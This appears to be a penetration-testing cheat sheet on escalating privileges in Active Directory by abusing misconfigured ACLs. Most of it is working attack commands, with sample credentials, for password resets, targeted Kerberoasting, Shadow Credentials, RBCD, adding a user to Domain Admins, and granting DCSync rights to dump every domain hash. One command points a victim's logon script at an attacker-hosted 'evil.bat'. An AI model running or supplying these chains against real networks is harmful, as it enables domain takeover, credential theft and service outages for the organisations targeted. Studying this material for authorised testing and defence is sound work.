ACL Abuse

Enumerate and exploit abusable ACEs in Active Directory. GenericAll, WriteDACL, WriteOwner, GenericWrite, ForceChangePassword, targeted Kerberoasting, Shadow Credentials, and RBCD via ACL misconfigurations.

Sections ACL Abuse

You have a low-privilege domain account and want to escalate through ACL misconfigurations. Every AD object has a security descriptor with a DACL (Discretionary Access Control List). When admins delegate permissions carelessly or tools like Exchange set overly broad ACEs, you get privilege escalation paths that do not require any exploits.


ACL Enumeration

BloodHound (Best Approach)

BloodHound visualizes ACL relationships across the entire domain. Run a collection, ingest the data, and query for abusable edges.

terminal
# Collect ACL data from Linux
root@localhost:~# bloodhound-python -u svc_backup -p 'P@ssw0rd123' -d corp.local -dc dc01.corp.local -c acl,objectprops,group --zip

# Key Cypher queries after ingestion
# Find outbound ACL edges from your user
MATCH p=(u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns|AddMember|AllExtendedRights*1..]->(target) RETURN p

# Find all GenericAll edges
MATCH p=(n)-[:GenericAll]->(m) RETURN p

# Find shortest ACL-based path to Domain Admins
MATCH p=shortestPath((u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns|AddMember|AllExtendedRights*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p

PowerView

powershell
# Find all interesting ACEs in the domain
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName, SecurityIdentifier

# ACEs for a specific principal
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "svc_backup"}

# ACEs on a specific object
PS C:\> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"} | Select-Object AceType, ActiveDirectoryRights, IdentityReferenceName

# ACEs where Domain Users have dangerous rights
PS C:\> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "Domain Users" -and $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"}

dacledit (Impacket)

terminal
# Read ACL on a specific target
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -action read

# Filter for a specific principal
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -action read -principal svc_backup

# Read ACL on the domain object (check for DCSync rights)
root@localhost:~# impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target 'DC=corp,DC=local' -action read

Native PowerShell (No Tools)

powershell
# Read ACL on a specific user
PS C:\> $dn = (Get-ADUser svc_sql).DistinguishedName
PS C:\> (Get-Acl "AD:$dn").Access | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|WriteProperty|ExtendedRight"} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType, InheritedObjectType

# Read ACL on the domain object
PS C:\> (Get-Acl "AD:DC=corp,DC=local").Access | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

GenericAll

Full control over the target object. You can reset passwords, modify group membership, set SPNs, write msDS-AllowedToActOnBehalfOfOtherIdentity, anything.

On a User

# Option 1: Reset the user's password
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set password svc_sql 'NewP@ssw0rd456'

# Option 2: Targeted Kerberoasting (set SPN, roast, remove SPN)
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object svc_sql servicePrincipalName -v "MSSQLSvc/fake.corp.local:1433"
impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -request -outputfile targeted.txt
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object svc_sql servicePrincipalName

# Option 3: Shadow Credentials
certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target svc_sql -dc-ip 10.10.11.35

On a Group

# Add yourself to the group
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 add groupMember "Domain Admins" svc_backup

# Or via net rpc
impacket-net rpc group addmem "Domain Admins" svc_backup -U corp.local/svc_backup:'P@ssw0rd123' -S 10.10.11.35

On a Computer

terminal
# Set RBCD (delegate from a machine you control)
root@localhost:~# impacket-rbcd corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -action write -delegate-from 'EVILPC$' -delegate-to 'ws01$'

# Shadow Credentials on a computer
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target 'ws01$' -dc-ip 10.10.11.35

GenericWrite

Write to any non-protected attribute on the target. Cannot reset passwords directly, but can set SPNs, write msDS-KeyCredentialLink (Shadow Credentials), and write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD).

Exploitation Paths

terminal
# Targeted Kerberoasting (write SPN)
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser servicePrincipalName -v "MSSQLSvc/fake.corp.local:1433"
root@localhost:~# impacket-GetUserSPNs corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -request

# Shadow Credentials (write msDS-KeyCredentialLink)
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target targetuser --action add --dc-ip 10.10.11.35
# Or
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target targetuser -dc-ip 10.10.11.35

# RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity on a computer)
root@localhost:~# impacket-rbcd corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -action write -delegate-from 'EVILPC$' -delegate-to 'ws01$'

# Set logon script (runs at user logon)
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser scriptPath -v "\\10.10.14.5\share\evil.bat"

WriteDACL

Modify the DACL on the target object. Grant yourself GenericAll, then do anything.

# Grant yourself GenericAll on the target
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -principal svc_backup -rights FullControl -action write

# Now you have GenericAll - use any technique from the GenericAll section above

# Grant yourself DCSync rights on the domain object
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "DC=corp,DC=local" -principal svc_backup -rights DCSync -action write
impacket-secretsdump corp.local/svc_backup:'P@ssw0rd123'@10.10.11.35 -just-dc
WriteDACL on the domain object is a direct path to domain compromise. Grant yourself DCSync rights and dump every hash in the domain. This generates event ID 5136 (directory object modified).

WriteOwner

Change the owner of the target object. The owner has implicit WriteDACL, so changing ownership lets you then modify the DACL and grant yourself full control.

# Change the owner to your user
impacket-owneredit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -new-owner svc_backup -action write

# bloodyAD
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set owner svc_sql svc_backup

# Now grant yourself GenericAll via WriteDACL (owner has implicit WriteDACL)
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target svc_sql -principal svc_backup -rights FullControl -action write

ForceChangePassword

Reset a user’s password without knowing the current password. This is a specific extended right (not the same as GenericAll).

# bloodyAD
bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set password svc_sql 'NewP@ssw0rd456'

# rpcclient
rpcclient -U 'corp.local/svc_backup%P@ssw0rd123' 10.10.11.35 -c "setuserinfo2 svc_sql 23 'NewP@ssw0rd456'"

# Impacket changepasswd
impacket-changepasswd corp.local/svc_sql@10.10.11.35 -newpass 'NewP@ssw0rd456' -reset -altuser svc_backup -altpass 'P@ssw0rd123'
Resetting a password is destructive. The user (or service) will lose access immediately. In a pentest, this can break production services. Prefer targeted Kerberoasting or Shadow Credentials when possible, as those do not disrupt the target account.

If you can write to a target’s msDS-KeyCredentialLink attribute, you can add a key credential that lets you authenticate as that user via PKINIT without knowing their password.

terminal
# pywhisker - add a key credential
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action add --dc-ip 10.10.11.35

# Certipy shadow auto (handles everything: add key, PKINIT auth, get NT hash)
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target svc_sql -dc-ip 10.10.11.35

# List existing key credentials
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action list --dc-ip 10.10.11.35

# Remove a key credential (cleanup)
root@localhost:~# python3 pywhisker.py -d corp.local -u svc_backup -p 'P@ssw0rd123' --target svc_sql --action remove --device-id <device-id> --dc-ip 10.10.11.35
Shadow Credentials require AD CS to be deployed in the environment (specifically, a certificate authority that supports PKINIT). If there is no CA, this technique will not work. Check for a CA first with certipy find.

WriteProperty on Specific Attributes

Sometimes you do not have full GenericWrite, but you have WriteProperty on a specific attribute. The exploitation depends on which attribute you can write to.

Writable Attribute Exploitation Path
servicePrincipalName Targeted Kerberoasting
member (on a group) Add yourself or another user to the group
msDS-AllowedToActOnBehalfOfOtherIdentity Set RBCD
msDS-KeyCredentialLink Shadow Credentials
scriptPath Set logon script to your payload
userAccountControl Set DONT_REQ_PREAUTH for AS-REP roasting

ACL Attack Chains

Real-world escalation rarely involves a single ACE. You usually chain multiple ACL abuses together.

1

Enumerate ACLs

“Run BloodHound collection with ACL data. Query for outbound edges from your compromised user. Look for multi-hop paths to Domain Admins.”
2

First Hop: WriteDACL on a Group

“If you have WriteDACL on a group like ‘IT Admins,’ grant yourself GenericAll on that group, then add yourself as a member.”
3

Second Hop: GenericAll on a User

“As a member of ‘IT Admins,’ you inherit GenericAll on svc_sql. Use Shadow Credentials or targeted Kerberoasting to compromise svc_sql.”
4

Third Hop: GenericWrite on Domain Object

“svc_sql has GenericWrite on the domain object. Use dacledit to grant DCSync rights, then dump all hashes.”
5

Cleanup

“Remove any ACEs you added, clear Shadow Credentials, remove SPNs. Leave the environment as you found it.”

ACL Abuse Quick Reference

ACE Right Best Exploitation Tools
GenericAll (User) Shadow Credentials or password reset certipy, bloodyAD, pywhisker
GenericAll (Group) Add member bloodyAD, net group, Add-ADGroupMember
GenericAll (Computer) RBCD or Shadow Credentials impacket-rbcd, certipy shadow
GenericWrite (User) Targeted Kerberoasting or Shadow Creds bloodyAD, pywhisker
GenericWrite (Computer) RBCD impacket-rbcd
WriteDACL Grant yourself GenericAll or DCSync impacket-dacledit, PowerView
WriteOwner Take ownership, then WriteDACL impacket-owneredit, bloodyAD
ForceChangePassword Reset password bloodyAD, rpcclient
WriteProperty (member) Add member to group bloodyAD, ldapmodify
WriteProperty (SPN) Targeted Kerberoasting Set-ADUser, bloodyAD
AllExtendedRights ForceChangePassword + read LAPS Multiple tools